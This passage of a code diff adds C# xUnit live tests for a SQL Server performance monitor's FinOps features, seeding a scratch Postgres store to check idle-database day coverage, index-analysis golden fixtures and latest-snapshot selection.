+        return (await RunAsync(dataSource, OldDistinctDayCountSql, id, start, end, 0, ct),
+                await RunAsync(dataSource, DarlingFinOpsOptimizationReader.IdleCoverageSql, id, start, end, 1, ct));
+    }
+
+    [Fact]
+    public async Task PerDayProbes_CountTheSameDaysAsTheOldDistinctCount_InTheThreeScenarios()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live idle-coverage test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(Cs!, ct);
+        await using var c = new NpgsqlConnection(scratch.ConnectionString);
+        await c.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(c, ct);
+        await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        foreach (var hour in HoursOfDay)
+        {
+            var now = Day.AddHours(hour);
+
+            /* Six and a half days of history: D-6 .. D-1 hold samples, and D-7 does only at the hours when 6.5 days back still reaches it. */
+            var (shortId, shortName) = await RegisterAsync(c, $"darling-idle-cnt-short-{hour}", ct);
+            await SeedHalfDaysAsync(c, shortId, shortName, now, 6.5, _ => false, ct);
+            var (oldShort, probedShort) = await CountDaysBothWaysAsync(dataSource, shortId, now, ct);
+            Assert.Equal(oldShort, probedShort);
+            Assert.InRange(probedShort, 6L, 7L);
+
+            /* Seven and a half days with D-3 missing: six of the seven days, the gap not counted. */
+            var dMinus3 = now.Date.AddDays(-3);
+            var (gapId, gapName) = await RegisterAsync(c, $"darling-idle-cnt-gap-{hour}", ct);
+            await SeedHalfDaysAsync(c, gapId, gapName, now, 7.5, at => at.Date == dMinus3, ct);
+            var (oldGap, probedGap) = await CountDaysBothWaysAsync(dataSource, gapId, now, ct);
+            Assert.Equal(oldGap, probedGap);
+            Assert.Equal(6L, probedGap);
+
+            /* Seven and a half days, no gap: all seven complete days, and today (which holds samples at some hours) is not one of them. */
+            var (fullId, fullName) = await RegisterAsync(c, $"darling-idle-cnt-full-{hour}", ct);
+            await SeedHalfDaysAsync(c, fullId, fullName, now, 7.5, _ => false, ct);
+            var (oldFull, probedFull) = await CountDaysBothWaysAsync(dataSource, fullId, now, ct);
+            Assert.Equal(oldFull, probedFull);
+            Assert.Equal(7L, probedFull);
+        }
+    }
+
+    /// <summary>
+    /// Round-2 L5 (#5492): the day edges. D-3 holds no half-day sample here; a sample exactly at D-3 00:00:00.000000 is the
+    /// start of that day (half-open day, so it covers it); D-4 23:59:59.999999 and D-2 00:00:00.000000 belong to the
+    /// neighbouring days and leave D-3 uncovered. The per-day probes count the same days as the old distinct-date count in both.
+    /// </summary>
+    [Fact]
+    public async Task ASampleOnTheExactDayEdge_CoversOnlyItsOwnDay()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live idle-coverage test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(Cs!, ct);
+        await using var c = new NpgsqlConnection(scratch.ConnectionString);
+        await c.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(c, ct);
+        await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        foreach (var hour in HoursOfDay)
+        {
+            var now = Day.AddHours(hour);
+            var dMinus3 = now.Date.AddDays(-3);
+
+            var (midId, midName) = await RegisterAsync(c, $"darling-idle-edge-mid-{hour}", ct);
+            await SeedHalfDaysAsync(c, midId, midName, now, 7.5, at => at.Date == dMinus3, ct);
+            await FinOpsIdleCoverageSeed.InsertAsync(c, ct, midId, midName, dMinus3, "mid");
+            Assert.True(await DarlingFinOpsOptimizationReader.HasIdleCoverageAtAsync(dataSource, midId, now, TimeoutSeconds, ct), $"00:00:00.000000 of D-3 at hour {hour}");
+            var (oldMid, probedMid) = await CountDaysBothWaysAsync(dataSource, midId, now, ct);
+            Assert.Equal(oldMid, probedMid);
+            Assert.Equal(7L, probedMid);
+
+            var (edgeId, edgeName) = await RegisterAsync(c, $"darling-idle-edge-near-{hour}", ct);
+            await SeedHalfDaysAsync(c, edgeId, edgeName, now, 7.5, at => at.Date == dMinus3, ct);
+            await FinOpsIdleCoverageSeed.InsertAsync(c, ct, edgeId, edgeName, dMinus3.AddTicks(-10), "prevEnd");
+            await FinOpsIdleCoverageSeed.InsertAsync(c, ct, edgeId, edgeName, dMinus3.AddDays(1), "nextStart");
+            Assert.False(await DarlingFinOpsOptimizationReader.HasIdleCoverageAtAsync(dataSource, edgeId, now, TimeoutSeconds, ct), $"neighbouring edges at hour {hour}");
+            var (oldEdge, probedEdge) = await CountDaysBothWaysAsync(dataSource, edgeId, now, ct);
+            Assert.Equal(oldEdge, probedEdge);
+            Assert.Equal(6L, probedEdge);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsIdleCoverageSeed.cs b/Darling/Darling.Tests/FinOpsIdleCoverageSeed.cs
new file mode 100644
index 0000000000..c97d42a26a
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsIdleCoverageSeed.cs
@@ -0,0 +1,39 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Query-stats samples that satisfy the idle-database coverage rule (the oldest sample at or before now - 7 days, and a sample on
+/// each of the 7 complete UTC days before today), for a test whose seed has to leave a database idle. The samples carry a database
+/// no seed lists and no executions, so they add coverage and nothing else: no database turns active and no query row appears.
+/// </summary>
+internal static class FinOpsIdleCoverageSeed
+{
+    /// <summary>The coverage samples for one server as of <paramref name="now"/> (naive UTC): one old sample and a noon sample on each of D-7 through D-1.</summary>
+    public static async Task SeedAsync(NpgsqlConnection c, CancellationToken ct, int serverId, string serverName, DateTime now)
+    {
+        await InsertAsync(c, ct, serverId, serverName, now.AddDays(-8), "oldest");
+        for (var day = 1; day <= 7; day++)
+        {
+            await InsertAsync(c, ct, serverId, serverName, now.Date.AddDays(-day).AddHours(12), "day" + day);
+        }
+    }
+
+    /// <summary>One zero-execution coverage sample at <paramref name="at"/> (naive UTC).</summary>
+    public static Task InsertAsync(NpgsqlConnection c, CancellationToken ct, int serverId, string serverName, DateTime at, string tag) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO query_stats (collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle, delta_worker_time, delta_elapsed_time, delta_execution_count, sample_interval_seconds) VALUES ($1, $2, $3, $4, 'CoverageProbe', $5, $5, 0, 0, 0, 60)",
+            CollectionIdGenerator.Next(), at, serverId, serverName, "0xCOV" + tag + serverId);
+}
diff --git a/Darling/Darling.Tests/FinOpsIndexAnalysisGoldenLiveTests.cs b/Darling/Darling.Tests/FinOpsIndexAnalysisGoldenLiveTests.cs
new file mode 100644
index 0000000000..3f9582ad70
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsIndexAnalysisGoldenLiveTests.cs
@@ -0,0 +1,268 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Text;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Golden-fixture pin for the FinOps Index Analysis reads (<c>GetIndexCleanupInputsAsync</c>,
+/// <c>GetIndexCleanupOptionsAsync</c>, <c>GetIndexAnalysisAsync</c> and the row projections). A deterministic seeded
+/// store is read and the results are serialized (public readable properties in declaration order, decimals at their
+/// stored scale, times as offsets from the seed anchor with their <c>Kind</c>, an uptime as whole days) and compared
+/// byte-for-byte to <c>Fixtures/FinOpsIndexAnalysis/golden.json</c>. Set <c>DARLING_WRITE_GOLDEN=1</c> to regenerate it.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class FinOpsIndexAnalysisGoldenLiveTests
+{
+    private const string ServerNameA = "darling-finops-ia-golden-a";
+    private const string ServerNameB = "darling-finops-ia-golden-b";
+    private static readonly int ServerIdA = ServerIdHelper.GetDeterministicHashCode(ServerNameA);
+    private const string ServerNameC = "darling-finops-ia-golden-c";
+    private static readonly int ServerIdB = ServerIdHelper.GetDeterministicHashCode(ServerNameB);
+    private static readonly int ServerIdC = ServerIdHelper.GetDeterministicHashCode(ServerNameC);
+
+    [Fact]
+    public Task IndexAnalysisReads_MatchGoldenFixture_ThroughTheViewer() =>
+        RunAsync(async (connectionString, anchor, ct) =>
+        {
+            await using var viewer = new ViewerDataService(connectionString);
+            var inputs = await viewer.GetIndexCleanupInputsAsync(ServerIdA, ct);
+            var options = await viewer.GetIndexCleanupOptionsAsync(ServerIdA, ct);
+            var noProps = await viewer.GetIndexCleanupOptionsAsync(ServerIdB, ct);
+            var timed = await viewer.GetIndexAnalysisWithSnapshotTimesAsync(ServerIdA, ct);
+            var result = timed.Result;
+            var empty = await viewer.GetIndexAnalysisAsync(ServerIdB, ct);
+            var longInputs = await viewer.GetIndexCleanupInputsAsync(ServerIdC, ct);
+            var longOptions = await viewer.GetIndexCleanupOptionsAsync(ServerIdC, ct);
+            var longTimed = await viewer.GetIndexAnalysisWithSnapshotTimesAsync(ServerIdC, ct);
+            var longResult = longTimed.Result;
+            return Serialize(anchor,
+                new object[] { inputs, options, noProps, result,
+                    ViewerDataService.ProjectRecommendations(result, timed.SnapshotTimes), ViewerDataService.ProjectRollups(result, timed.SnapshotTimes),
+                    ViewerDataService.ProjectRollups(empty) },
+                new object[] { longInputs, longOptions, longResult,
+                    ViewerDataService.ProjectRecommendations(longResult, longTimed.SnapshotTimes), ViewerDataService.ProjectRollups(longResult, longTimed.SnapshotTimes) });
+        });
+
+    [Fact]
+    public Task IndexAnalysisReads_MatchGoldenFixture_ThroughTheStorageReaderAndRowProjections() =>
+        RunAsync(async (connectionString, anchor, ct) =>
+        {
+            await using var dataSource = NpgsqlDataSource.Create(connectionString);
+            var inputs = await DarlingFinOpsIndexAnalysisReader.GetIndexCleanupInputsAsync(dataSource, ServerIdA, 30, ct);
+            var options = await DarlingFinOpsIndexAnalysisReader.GetIndexCleanupOptionsAsync(dataSource, ServerIdA, 30, cancellationToken: ct);
+            var noProps = await DarlingFinOpsIndexAnalysisReader.GetIndexCleanupOptionsAsync(dataSource, ServerIdB, 30, cancellationToken: ct);
+            var timed = await DarlingFinOpsIndexAnalysisReader.GetIndexAnalysisWithSnapshotTimesAsync(dataSource, ServerIdA, 30, ct);
+            var result = timed.Result;
+            var empty = await DarlingFinOpsIndexAnalysisReader.GetIndexAnalysisAsync(dataSource, ServerIdB, 30, ct);
+            var longInputs = await DarlingFinOpsIndexAnalysisReader.GetIndexCleanupInputsAsync(dataSource, ServerIdC, 30, ct);
+            var longOptions = await DarlingFinOpsIndexAnalysisReader.GetIndexCleanupOptionsAsync(dataSource, ServerIdC, 30, cancellationToken: ct);
+            var longTimed = await DarlingFinOpsIndexAnalysisReader.GetIndexAnalysisWithSnapshotTimesAsync(dataSource, ServerIdC, 30, ct);
+            var longResult = longTimed.Result;
+            return Serialize(anchor,
+                new object[] { inputs, options, noProps, result,
+                    ViewerDataService.ProjectRecommendations(result, timed.SnapshotTimes), ViewerDataService.ProjectRollups(result, timed.SnapshotTimes),
+                    ViewerDataService.ProjectRollups(empty) },
+                new object[] { longInputs, longOptions, longResult,
+                    ViewerDataService.ProjectRecommendations(longResult, longTimed.SnapshotTimes), ViewerDataService.ProjectRollups(longResult, longTimed.SnapshotTimes) });
+        });
+
+    private static async Task RunAsync(Func<string, DateTime, CancellationToken, Task<string>> read)
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live FinOps index analysis golden test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await CleanupAsync(connection, ct);
+
+        var succeeded = false;
+        try
+        {
+            var anchor = DateTime.SpecifyKind(DateTime.UtcNow.Date, DateTimeKind.Unspecified);
+            await SeedAsync(connection, anchor, ct);
+
+            var actual = await read(connectionString!, anchor, ct);
+            AssertGolden(actual);
+            succeeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, succeeded, async (cleanup, cleanupCt) =>
+                await CleanupAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>Server A: an older and a newer snapshot of one index (the newest wins; its start time is five days back), one index with two rows at the same time, a clustered key, two exact
+    /// duplicates, an unused index and a second database. Server B has no collected data at all. Server C is analyzed with a 400-day uptime and the plain index set
+    /// (no same-time tie row), so the long-uptime recommendations stay pinned next to server A's short-uptime output.</summary>
+    private static async Task SeedAsync(NpgsqlConnection connection, DateTime anchor, CancellationToken ct)
+    {
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerIdA, ServerNameA, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerIdB, ServerNameB, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerIdC, ServerNameC, ct);
+
+        var old = anchor.AddDays(-3).AddHours(2);
+        var recent = anchor.AddDays(-1).AddHours(2);
+        await DarlingMcpTestData.ExecAsync(connection, ct,
+            "INSERT INTO server_properties (collection_id, collection_time, server_id, server_name, edition, engine_edition, product_version, sqlserver_start_time) VALUES ($1, $2, $3, $4, $5, $6, $7, $8)",
+            CollectionIdGenerator.Next(), old, ServerIdA, ServerNameA, "Standard Edition", 2, "12.0.2000.8", anchor.AddDays(-400));
+        await DarlingMcpTestData.ExecAsync(connection, ct,
+            "INSERT INTO server_properties (collection_id, collection_time, server_id, server_name, edition, engine_edition, product_version, sqlserver_start_time) VALUES ($1, $2, $3, $4, $5, $6, $7, $8)",
+            CollectionIdGenerator.Next(), recent, ServerIdA, ServerNameA, "Standard Edition", 2, "16.0.1000.6", DateTime.Now.AddDays(-5).AddHours(-1));
+
+        await InsertIndexAsync(connection, old, "SalesDb", 1, 100, 1, "PK_Orders", "CLUSTERED", "[OrderId]", null, true, true, 900m, 50000, 10, 5, 0, 700, ct);
+        await InsertIndexAsync(connection, recent, "SalesDb", 1, 100, 1, "PK_Orders", "CLUSTERED", "[OrderId]", null, true, true, 910.5m, 51000, 12, 6, 1, 800, ct);
+        await InsertIndexAsync(connection, recent, "SalesDb", 1, 100, 2, "IX_Orders_Cust", "NONCLUSTERED", "[CustomerId]", "[Total]", false, false, 120.25m, 51000, 400, 20, 0, 800, ct);
+        await InsertIndexAsync(connection, recent, "SalesDb", 1, 100, 2, "IX_Orders_Cust", "NONCLUSTERED", "[CustomerId]", "[Total]", false, false, 121m, 51000, 77, 9, 3, 801, ct);
+        await InsertIndexAsync(connection, recent, "SalesDb", 1, 100, 3, "IX_Orders_Cust_Dup", "NONCLUSTERED", "[CustomerId]", "[Total]", false, false, 118m, 51000, 0, 0, 0, 800, ct);
+        await InsertIndexAsync(connection, recent, "SalesDb", 1, 100, 4, "IX_Orders_Unused", "NONCLUSTERED", "[ShipDate]", null, false, false, 64m, 51000, 0, 0, 0, 800, ct);
+        await InsertIndexAsync(connection, recent, "OpsDb", 2, 200, 1, "PK_Jobs", "CLUSTERED", "[JobId]", null, true, true, 5m, 900, 3, 1, 0, 40, ct);
+        await InsertIndexAsync(connection, recent, "OpsDb", 2, 200, 2, "IX_Jobs_State", "NONCLUSTERED", "[State]", "[Owner]", false, false, 2.5m, 900, 0, 0, 0, 40, ct);
+        await SeedLongUptimeServerAsync(connection, anchor, ct);
+    }
+
+    private static async Task SeedLongUptimeServerAsync(NpgsqlConnection connection, DateTime anchor, CancellationToken ct)
+    {
+        var old = anchor.AddDays(-3).AddHours(2);
+        var recent = anchor.AddDays(-1).AddHours(2);
+        /* sqlserver_start_time is the target's LOCAL wall clock and the reader compares it with the host's local now
+           (DarlingFinOpsIndexAnalysisReader.GetIndexCleanupOptionsAsync), so seed it on the local calendar day. Seeding it from
+           the UTC anchor made the uptime 399 between 00:00 UTC and local midnight on a zone behind UTC. */
+        var longUptimeStart = DateTime.SpecifyKind(DateTime.Now.Date.AddDays(-400), DateTimeKind.Unspecified);
+        const string props = "INSERT INTO server_properties (collection_id, collection_time, server_id, server_name, edition, engine_edition, product_version, sqlserver_start_time) VALUES ($1, $2, $3, $4, $5, $6, $7, $8)";
+        await DarlingMcpTestData.ExecAsync(connection, ct, props,
+            CollectionIdGenerator.Next(), old, ServerIdC, ServerNameC, "Standard Edition", 2, "12.0.2000.8", longUptimeStart);
+        await DarlingMcpTestData.ExecAsync(connection, ct, props,
+            CollectionIdGenerator.Next(), recent, ServerIdC, ServerNameC, "Standard Edition", 2, "16.0.1000.6", longUptimeStart);
+
+        await InsertIndexAsync(connection, old, "SalesDb", 1, 100, 1, "PK_Orders", "CLUSTERED", "[OrderId]", null, true, true, 900m, 50000, 10, 5, 0, 700, ct, ServerIdC, ServerNameC);
+        await InsertIndexAsync(connection, recent, "SalesDb", 1, 100, 1, "PK_Orders", "CLUSTERED", "[OrderId]", null, true, true, 910.5m, 51000, 12, 6, 1, 800, ct, ServerIdC, ServerNameC);
+        await InsertIndexAsync(connection, recent, "SalesDb", 1, 100, 2, "IX_Orders_Cust", "NONCLUSTERED", "[CustomerId]", "[Total]", false, false, 120.25m, 51000, 400, 20, 0, 800, ct, ServerIdC, ServerNameC);
+        await InsertIndexAsync(connection, recent, "SalesDb", 1, 100, 3, "IX_Orders_Cust_Dup", "NONCLUSTERED", "[CustomerId]", "[Total]", false, false, 118m, 51000, 0, 0, 0, 800, ct, ServerIdC, ServerNameC);
+        await InsertIndexAsync(connection, recent, "SalesDb", 1, 100, 4, "IX_Orders_Unused", "NONCLUSTERED", "[ShipDate]", null, false, false, 64m, 51000, 0, 0, 0, 800, ct, ServerIdC, ServerNameC);
+        await InsertIndexAsync(connection, recent, "OpsDb", 2, 200, 1, "PK_Jobs", "CLUSTERED", "[JobId]", null, true, true, 5m, 900, 3, 1, 0, 40, ct, ServerIdC, ServerNameC);
+        await InsertIndexAsync(connection, recent, "OpsDb", 2, 200, 2, "IX_Jobs_State", "NONCLUSTERED", "[State]", "[Owner]", false, false, 2.5m, 900, 0, 0, 0, 40, ct, ServerIdC, ServerNameC);
+    }
+
+    private static Task InsertIndexAsync(NpgsqlConnection c, DateTime at, string db, int dbId, int objectId, int indexId,
+        string index, string type, string keys, string? included, bool unique, bool primary, decimal reservedMb,
+        long rows, long seeks, long scans, long lookups, long updates, CancellationToken ct,
+        int? serverId = null, string? serverName = null) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO index_object_stats (collection_id, collection_time, server_id, server_name, database_name, database_id, schema_name, object_id, table_name, index_id, index_name, index_type_desc, key_columns, included_columns, is_unique, is_primary_key, reserved_mb, total_rows, user_seeks, user_scans, user_lookups, user_updates, row_lock_wait_count, row_lock_wait_in_ms, partition_count, sqlserver_start_time) VALUES ($1,$2,$3,$4,$5,$6,'dbo',$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18,$19,$20,$21,$22,$23,1,$24)",
+            CollectionIdGenerator.Next(), at, serverId ?? ServerIdA, serverName ?? ServerNameA, db, dbId, objectId, "T" + objectId, indexId, index, type, keys,
+            (object?)included ?? DBNull.Value, unique, primary, reservedMb, rows, seeks, scans, lookups, updates, indexId * 3L, indexId * 11L,
+            at.Date.AddDays(-400));
+
+    private static Task CleanupAsync(NpgsqlConnection connection, CancellationToken ct) =>
+        DarlingMcpTestData.ExecAsync(connection, ct,
+            $"DELETE FROM index_object_stats WHERE server_id IN ({ServerIdA},{ServerIdB},{ServerIdC}); " +
+            $"DELETE FROM server_properties WHERE server_id IN ({ServerIdA},{ServerIdB},{ServerIdC}); " +
+            $"DELETE FROM servers WHERE server_id IN ({ServerIdA},{ServerIdB},{ServerIdC})");
+
+    /// <summary>Serializes the results as indented JSON: the short-uptime server's sections at the top level, then the
+    /// long-uptime server's sections under <c>longUptime</c>.</summary>
+    private static string Serialize(DateTime anchor, object[] shortUptime, object[] longUptime)
+    {
+        using var stream = new MemoryStream();
+        using (var writer = new Utf8JsonWriter(stream, new JsonWriterOptions { Indented = true }))
+        {
+            writer.WriteStartObject();
+            WriteSections(writer, anchor, new[] { "inputs", "options", "optionsNoProperties", "analysis", "recommendationRows", "rollupRows", "rollupRowsNoData" }, shortUptime);
+            writer.WritePropertyName("longUptime");
+            writer.WriteStartObject();
+            WriteSections(writer, anchor, new[] { "inputs", "options", "analysis", "recommendationRows", "rollupRows" }, longUptime);
+            writer.WriteEndObject();
+            writer.WriteEndObject();
+        }
+        return Encoding.UTF8.GetString(stream.ToArray()).ReplaceLineEndings("\n") + "\n";
+    }
+
+    private static void WriteSections(Utf8JsonWriter writer, DateTime anchor, string[] names, object[] sections)
+    {
+        for (var i = 0; i < sections.Length; i++)
+        {
+            writer.WritePropertyName(names[i]);
+            WriteValue(writer, sections[i], anchor);
+        }
+    }
+
+    private static void WriteValue(Utf8JsonWriter writer, object? value, DateTime anchor)
+    {
+        switch (value)
+        {
+            case null: writer.WriteNullValue(); break;
+            case string s: writer.WriteStringValue(s); break;
+            case bool b: writer.WriteBooleanValue(b); break;
+            case int i: writer.WriteNumberValue(i); break;
+            case long l: writer.WriteNumberValue(l); break;
+            case decimal m: writer.WriteNumberValue(m); break;
+            case Enum e: writer.WriteStringValue(e.ToString()); break;
+            case double dd: writer.WriteNumberValue(Math.Floor(dd)); break;
+            case DateTime t:
+                var offset = t - anchor;
+                writer.WriteStringValue($"anchor{(offset < TimeSpan.Zero ? "-" : "+")}{Math.Abs(offset.TotalDays).ToString("0.####", System.Globalization.CultureInfo.InvariantCulture)}d[{t.Kind}]");
+                break;
+            case System.Collections.IEnumerable list:
+                writer.WriteStartArray();
+                foreach (var item in list) WriteValue(writer, item, anchor);
+                writer.WriteEndArray();
+                break;
+            default:
+                writer.WriteStartObject();
+                foreach (var p in value.GetType().GetProperties(BindingFlags.Public | BindingFlags.Instance)
+                             .Where(p => p.GetMethod is { IsPublic: true } && p.GetIndexParameters().Length == 0)
+                             /* #5082: the Collected text is the display-zone rendering of CollectionTimeUtc, which is pinned anchor-relative. */
+                             .Where(p => p.Name != "CollectionTime" || p.PropertyType != typeof(string))
+                             .OrderBy(p => p.MetadataToken))
+                {
+                    writer.WritePropertyName(p.Name);
+                    WriteValue(writer, p.GetValue(value), anchor);
+                }
+                writer.WriteEndObject();
+                break;
+        }
+    }
+
+    private static string GoldenSourcePath([CallerFilePath] string testFile = "") =>
+        Path.Combine(Path.GetDirectoryName(testFile)!, "Fixtures", "FinOpsIndexAnalysis", "golden.json");
+
+    private static void AssertGolden(string actual)
+    {
+        if (Environment.GetEnvironmentVariable("DARLING_WRITE_GOLDEN") == "1")
+        {
+            File.WriteAllText(GoldenSourcePath(), actual);
+            Assert.Skip("Regenerated the golden fixture source copy; run again without DARLING_WRITE_GOLDEN to compare.");
+        }
+
+        var golden = File.ReadAllText(Path.Combine(AppContext.BaseDirectory, "Fixtures", "FinOpsIndexAnalysis", "golden.json"))
+            .ReplaceLineEndings("\n");
+        Assert.Equal(golden, actual);
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsIndexAnalysisLatestSnapshotLiveTests.cs b/Darling/Darling.Tests/FinOpsIndexAnalysisLatestSnapshotLiveTests.cs
new file mode 100644
index 0000000000..3e77163fdb
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsIndexAnalysisLatestSnapshotLiveTests.cs
@@ -0,0 +1,284 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Text.Json;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5072: <see cref="DarlingFinOpsIndexAnalysisReader.IndexObjectStatsLatestSql"/> returns each database's newest
+/// snapshot. An index only an older cycle carries was dropped and is not shown; a database that left collection
+/// scope still shows its last snapshot; another server's rows never leak in; a same-instant re-run resolves to the
+/// newest collection_id. Fixed past anchors, never the wall clock. With TimescaleDB every chunk but the newest is
+/// compressed, so the anchor runs over compressed chunks too; without it the same facts run on a plain table.
+/// </summary>
+/* #1776 own-store: each live fact mints its own scratch database through ScratchPostgres. */
+public sealed class FinOpsIndexAnalysisLatestSnapshotLiveTests
+{
+    private const int ServerA = 5072001;
+    private const int ServerB = 5072002;
+    private const int DbX = 5;
+    private const int DbY = 6;
+
+    [Fact]
+    public async Task EachDatabasesNewestSnapshot_DropsDroppedIndexes_KeepsAScopedOutDatabase_AndNeverLeaksAServer()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the latest-snapshot live test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var timescaleEnabled = await LiveTimescaleProbe.TryEnableAsync(scratch.ConnectionString, ct);
+        if (timescaleEnabled)
+        {
+            await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+            await Exec(connection, "SELECT _timescaledb_functions.stop_background_workers()", ct);
+            await Exec(connection, "SELECT set_chunk_time_interval('collect.index_object_stats', INTERVAL '1 day')", ct);
+        }
+
+        var t = new DateTime(2026, 1, 15, 12, 0, 0, DateTimeKind.Unspecified);
+
+        /* Server A, database X: i1 in every cycle, i2 dropped after T-1d, i1 written twice at T. */
+        await Insert(connection, ServerA, DbX, 1, "i1", t.AddDays(-2), 1, 10, ct);
+        await Insert(connection, ServerA, DbX, 2, "i2", t.AddDays(-2), 2, 20, ct);
+        await Insert(connection, ServerA, DbX, 1, "i1", t.AddDays(-1), 3, 11, ct);
+        await Insert(connection, ServerA, DbX, 2, "i2", t.AddDays(-1), 4, 21, ct);
+        await Insert(connection, ServerA, DbX, 1, "i1", t, 5, 12, ct);
+        await Insert(connection, ServerA, DbX, 1, "i1", t, 6, 13, ct);
+        /* Server A, database Y: left scope. j2 dropped before its last cycle. */
+        await Insert(connection, ServerA, DbY, 1, "j1", t.AddDays(-5), 7, 30, ct);
+        await Insert(connection, ServerA, DbY, 2, "j2", t.AddDays(-5), 8, 40, ct);
+        await Insert(connection, ServerA, DbY, 1, "j1", t.AddDays(-3), 9, 31, ct);
+        /* Same-instant tie in the compressed chunk: the higher collection_id must win there too. */
+        await Insert(connection, ServerA, DbY, 1, "j1", t.AddDays(-3), 12, 32, ct);
+        /* Server B: must not leak. */
+        await Insert(connection, ServerB, DbX, 1, "b1", t, 10, 99, ct);
+        await Insert(connection, ServerB, DbY, 1, "b2", t.AddDays(-4), 11, 98, ct);
+
+        if (timescaleEnabled)
+        {
+            var compressed = await CompressAllButNewestAsync(connection, ct);
+            Assert.True(compressed > 0, "no chunk was compressed; the compressed-chunk half did not run");
+        }
+
+        var a = await ReadAsync(connection, ServerA, ct);
+        Assert.Equal(2, a.Count);
+        Assert.Equal(12 + 1, a[(DbX, "i1")]);
+        Assert.Equal(32, a[(DbY, "j1")]);
+        Assert.DoesNotContain((DbX, "i2"), a.Keys);
+        Assert.DoesNotContain((DbY, "j2"), a.Keys);
+
+        /* #5082: the last column is each database's own anchor: X at T, Y (left scope) at T-3d. */
+        var stamps = await ReadStampsAsync(connection, ServerA, ct);
+        Assert.Equal(new DateTime(2026, 1, 15, 12, 0, 0, DateTimeKind.Utc), stamps[DbX]);
+        Assert.Equal(new DateTime(2026, 1, 12, 12, 0, 0, DateTimeKind.Utc), stamps[DbY]);
+
+        var b = await ReadAsync(connection, ServerB, ct);
+        Assert.Equal(2, b.Count);
+        Assert.Equal(99, b[(DbX, "b1")]);
+        Assert.Equal(98, b[(DbY, "b2")]);
+    }
+
+    /// <summary>The reader's naive-UTC snapshot time per database, and the same time through get_finops index_analysis:
+    /// captured_at on each databases entry, none on overall. Fixed anchors, never the wall clock.</summary>
+    [Fact]
+    public async Task EachDatabasesSnapshotTime_ReachesTheReaderAndGetFinOps_AScopedOutDatabaseOlder()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the latest-snapshot live test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
